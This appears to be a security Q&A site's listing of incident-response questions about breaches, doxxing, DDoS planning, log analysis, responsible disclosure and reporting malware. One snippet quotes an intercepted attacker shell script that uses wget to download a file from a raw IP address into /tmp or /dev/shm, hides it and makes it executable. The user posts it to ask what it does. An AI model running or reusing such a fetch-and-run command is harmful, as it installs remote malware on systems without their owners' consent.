The art of responding to incidents in an organized and thoughtful manner.

learn more… | top users | synonyms (2)

0
votes
1answer
10 views

Response on targeted attacks against an individual

I'm now an aim for a targeted attack. Someone tries to gather information about me and tries to get access to my accounts. Some time before he/they've managed to succeed (got all the info from my ...
1
vote
2answers
75 views

How to analyze the netstat log for suspicious connections?

I found a question from here: http://www.activeresponse.org/20-questions-for-an-intrusion-analyst/ But not sure what its answer is. Here is the question and it asks me to find out all suspicious ...
4
votes
0answers
75 views

Detect malicious content on enourmous multi-site CMS [closed]

My Goal: My hope is to catch pages and content that would be flagged by Google Safe Browsing or others like it, except more proactive than waiting for a crawl by Google or being added to a ...
-4
votes
1answer
61 views

sourcing harrassing texts [closed]

I live in the US. Someone is texting harrassing messages to me. I have done a reverse lookup which dead-ends in a landline number. The number I have has been confirmed by my wireless Carrier. It ...
1
vote
1answer
39 views

Incident isolation and containment approach

In incident response, there are commonly two approaches to isolation and containment after a genuine incident is reported. Compromised systems are disabled or disconnected but operations carries on ...
33
votes
6answers
3k views

After getting doxxed, how can one protect personally identifiable information?

Doxing (publicly releasing private information about an individual, to make it easier to harass them) is becoming an increasingly popular tactic not just for hackivists and Anonymous, but also for ...
0
votes
1answer
40 views

Additional Protection Against DDoS

We have subscribed to an upstream ISP's protection service to protect against DDoS. I am thinking of developing a incident procedure in case my ISP's DDoS mitigation fails (highly unlikely right?). ...
7
votes
2answers
110 views

Have there been successful class action lawsuits due to infosec breaches?

Whenever there is a major security breach affecting consumers, often large costs are quoted (e.g. 35 million for TalkTalk). One reason given for these large costs is the potential for affected people ...
6
votes
1answer
347 views

How do I identify which PC made a suspicious DNS query?

Our IDS detected a suspicious DNS packet going to a Botnet (or similar). Since that DC is a recursive relay, how can we identify the client who made that request. (Windows DNS server)
140
votes
9answers
17k views

How do organizations check *what* has been hacked?

In the UK, the company TalkTalk was recently hacked. It was later discovered, after 'investigation' that the hack was not as serious as it could have been (and less than expected). I'm wondering: ...
0
votes
0answers
47 views

SSH attempt blocked now ECDSA keys changed

Last night I had an external IP tried to access my server over SSH. The attempt was blocked as it failed to authorise in the number of times and time limit that I'd specified. Doing a whois on the ip ...
3
votes
3answers
316 views

Gmail account hacked - what was it used for?

We use GMail for our business email, we are a small company. I do the mail administration for our domain, and I was recently alerted by an email from Google that a colleague's account had some ...
0
votes
1answer
64 views

Definition of security incident [closed]

What's a security incident in information security? Can an unsuccessful attack (blocked by an IPS for instance) or an attack without real impact (a port scan for instance) be considered a security ...
7
votes
1answer
117 views

Incident Response - Which logs are of most interest following a social engineered remote desktop attack

Unfortunately, someone in my family fell for a phone scam after data was leaked from TalkTalk. As a result, they allowed remote access to two computers and transferred money from their bank account to ...
-1
votes
2answers
101 views

What is a “proof of concept” file to report security issues?

Last month I reported a security issue to Adobe through an email encrypted with PGP. I recieved the comfirmation email, but no response past that. I checked the "Alert us" page and it said that you ...
-1
votes
1answer
37 views

Adobe PSIRT Average Response Time [closed]

Anyone have any experience in contacting the Adobe Product Security Incident Response Team (PSIRT)? I sent in an exploit that I found two weeks ago and I have not heard from them since. Would they ...
3
votes
0answers
112 views

attack on Unix procmail analysis

2 days ago I received the following E-mail (this is its original format not the one of any mailer, but where sensitive information is replaced by ••field_name••): From qqqqqq@freemail.net Thu Jul ...
1
vote
1answer
66 views

Security server log review [closed]

We have a Kiwi Syslog server for Centralized logging purposes. Currently, our focus is only on monitoring, reviewing and reporting User Account/Password Violations. We already used the necessary ...
6
votes
1answer
114 views

How do I protect myself from the aftermath of the OPM hack?

As a federal employee, I, along with some 4 million other Americans had our information compromised in the recent OPM (office of personal management) hack. Former and current addresses, names of ...
2
votes
1answer
138 views

Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
2
votes
2answers
76 views

ISO27001 Certification - Business Incident

We have a defined and certified scope. If we have a business event that impacts the services or a building that is "in" scope and we have to shut that building down and recover services to another ...
0
votes
1answer
80 views

What security considerations should I take when planning do to Incident Response in my hybrid public cloud environment?

I am trying to compile a list of areas one should be aware of when doing Incident Response on public cloud environments, e.g. a hybrid public cloud, where some services are provisioned in local ...
0
votes
1answer
80 views

Ensuring security of a Disaster Recovery Plan

The Disaster Recovery Plan (DRP) is a document that outlines, in detail, the actions that should be taken to restore systems & files in the event of a catastrophe. The fact that these plans hold ...
12
votes
2answers
259 views

How should I manage people/technicians during an incident/outbreak?

Assume there is an incident that requires immediate response, such as a virus outbreak over email, Cryptolocker actively encrypting files, or a DOS attack. How should I approach this in a way that ...
0
votes
1answer
84 views

Is there a “how to” about Gmail fraud, updated at least once per week?

My Gmail account has just been cracked and many of my contacts are receiving fake emails, claiming that I'm in troubles and requesting money. Searching for advice, using Google, about what actions ...
3
votes
1answer
242 views

Indicators of Compromise

Just to get an understanding of how indicators of compromise works. Take For example, in this article, the SMB tool. There is a MD5 hash for it. So is my firewalls or IDS supposed to be able to detect ...
6
votes
2answers
168 views

Invalid passwords leaked to logfiles

My company recently discovered that we're logging invalid login attempts, alongside with usernames and passwords. Those logfiles are stored on several machines and accessible to all team members. This ...
0
votes
2answers
174 views

To which entity merchants must report credit card breach?

In the incident that a Marchand like Target or Home Depot, detects credit cards are breached, who they need to notify? Visa recommends informing the merchant bank, and/or Visa Incident Response ...
0
votes
1answer
78 views

What are features of a suitable tool for tracking and reporting security incidents? [closed]

What are features of a suitable tool for tracking and reporting security incidents? Is it a bad idea to have one central repository for tracking all types of incidents, from helpdesk issues, to ...
1
vote
2answers
230 views

List of security products for my network [closed]

We are building and environment where mostly open source and trial versions would be used first before we purchase any product. I need your recommendation on the tools required to build a network that ...
5
votes
2answers
306 views

How to evaluate the damage after being hacked [duplicate]

It's well known what measures one should take to prevent hackers from hacking their PC. But are there any steps that allows a user to evaluate the damage done by a hacker? Say that I know for sure ...
1
vote
2answers
3k views

Is there any way for me to trace the TeamViewer ID of a machine that hacked in?

I am wondering if there is any list I could access to find TeamViewer ID's, as the police are not being helpful about this.
5
votes
2answers
882 views

Appropriate response to 2014 Russian Security Breach (CyberVor)

The report from Hold Security says that 1.2 billion sets of credentials are in the possession of this party. I have a feeling that this report may be a hoax or a partial hoax due to grammatical errors ...
2
votes
1answer
224 views

How to deal with misbehaving clients on an authoritative server?

My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might ...
1
vote
3answers
265 views

As a non-security professional how should I respond when told my site is insecure?

We have a website, and somebody wrote us an email claiming we are insecure! What should I do
9
votes
3answers
690 views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
5
votes
1answer
363 views

PGP-encrypted Email or SSL/TLS Webform for Responsible Disclosure Communication?

So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so? Assume we ...
11
votes
3answers
2k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
3
votes
1answer
345 views

What is the definition of “multi-failure” disaster recovery?

There are several compliance and certification criteria that mention "multi-failure" disaster recovery. What exactly is the definition of this? A google search did not turn up a clear answer for me.
0
votes
2answers
2k views

What is the incident Plan and Disaster recovery plan for Fire

My boss is asking me to prepare the fire incident Plan(IR) and Disaster recovery plan(DR), and how can we determine it is IR / DR. I am no clue on those issue. What should I do?
3
votes
2answers
134 views

How should we announce vulnerabilities in our application?

I have asked about security release notes Considerations for security release notes I need additional clarification about security vulnerabilities announcement. We create major release of our product ...
6
votes
1answer
121 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
0
votes
2answers
102 views

Is there any any security threat due to advertisements?

I was working on my localhost in my computer but I was connected to internet. Recently I downloaded a few music files and since then advertisements are getting popping into my browser through which I ...
39
votes
9answers
9k views

What to do when I found a spyware that my spouse has installed?

Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list Then I try to find what is this and I finally found it in "Program Files". After ...
0
votes
2answers
484 views

Transmitting malicious code over audio speakers

In a post that reads like science-fiction, a security researcher claims that malicious code was being passed between computers. A few quotes: ... "badBIOS," as Ruiu dubbed the malware, has the ...
26
votes
3answers
3k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
0
votes
3answers
1k views

Elaborate Hacking attempt detected - now what?

I am in the process of developing a php/mysql based web application. I took the complicated route and rather than to use a framework or anything I built the entire foundation of my app from scratch. ...
10
votes
4answers
3k views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
33
votes
4answers
2k views

Why did my provider reset my password after someone else attempted to gain access to my account?

Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in ...
7
votes
1answer
207 views

How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...